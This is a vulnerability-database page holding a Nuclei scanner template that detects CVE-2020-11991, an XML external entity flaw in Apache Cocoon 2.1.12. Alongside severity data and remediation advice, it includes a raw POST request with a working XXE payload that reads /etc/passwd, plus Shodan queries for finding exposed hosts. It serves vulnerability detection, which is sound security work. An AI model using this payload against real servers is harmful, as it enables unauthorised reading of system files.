Lucene search
+L

Apache Cocoon 2.1.12 - XML Injection

🗓️ 22 Oct 2026 02:06:49Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 92 Views

Apache Cocoon 2.1.12 - XML Injection vulnerability allows unauthorized access, data leakage, and remote code execution. Upgrade to Apache Cocoon 2.1.13 or later

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2020-11991
9 Dec 202400:00
–circl
cve
CVE
CVE-2020-11991
11 Sep 202013:28
–cve
cvelist
Cvelist
CVE-2020-11991
11 Sep 202013:28
–cvelist
kittysploit
KittySploit
Apache Cocoon 2.1.12 - XML Injection Detection
28 Jul 202611:27
–kittysploit
nvd
NVD
CVE-2020-11991
11 Sep 202014:15
–nvd
osv_cve
osv_cve
CVE-2020-11991
11 Sep 202014:15
–osv_cve
prion
Prion
Information disclosure
11 Sep 202014:15
–prion
ptsecurity
Positive Technologies
PT-2020-12970
11 Sep 202000:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-11991: Improper Restriction of XML External Entity Reference
11 Sep 202000:00
–rapid7
redhatcve
RedhatCVE
CVE-2020-11991
22 May 202515:50
–redhatcve
Rows per page
id: CVE-2020-11991

info:
  name: Apache Cocoon 2.1.12 - XML Injection
  author: pikpikcu,diedromeo
  severity: high
  description: |
    Apache Cocoon 2.1.12 contains an XML injection caused by parsing user-provided XML with external system entities in StreamGenerator, letting attackers access arbitrary files on the server, exploit requires sending malicious XML.
  impact: |
    Attackers can access arbitrary files on the server, leading to information disclosure and potential server compromise.
  remediation: |
    Update to the latest version of Apache Cocoon or apply security patches that disable external entity processing.
  reference:
    - https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11991
    - https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E
    - https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/webapp/samples/stream/sitemap.xmap
    - https://github.com/apache/cocoon/blob/BRANCH_2_1_X/src/java/org/apache/cocoon/generation/StreamGenerator.java
    - https://github.com/apache/cocoon/commit/8115f6ce315e306807b224f081fe06a27592c446
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-11991
    cwe-id: CWE-611
    epss-score: 0.72456
    epss-percentile: 0.99441
    cpe: cpe:2.3:a:apache:cocoon:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: cocoon
    shodan-query:
      - http.html:"Apache Cocoon"
      - http.html:"apache cocoon"
    fofa-query: body="apache cocoon"
  tags: cve,cve2020,apache,xml,cocoon,xxe,vkev,vuln

http:
  - raw:
      - |
        POST /samples/process-order HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0"?>
        <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
        <userInfo>
        <firstName>John</firstName>
        <lastName>&ent;</lastName>
        </userInfo>

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c9514eb7a46db95b0315abf85d1113acdd01609e608c92db8678736c126450b7022100899e7322fa3bf7f9ffd42868381ffd73ce8675e753c74921550877ae6764871c:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.4High risk
Vulners AI Score7.4
CVSS 25
CVSS 3.17.5
EPSS0.72456
92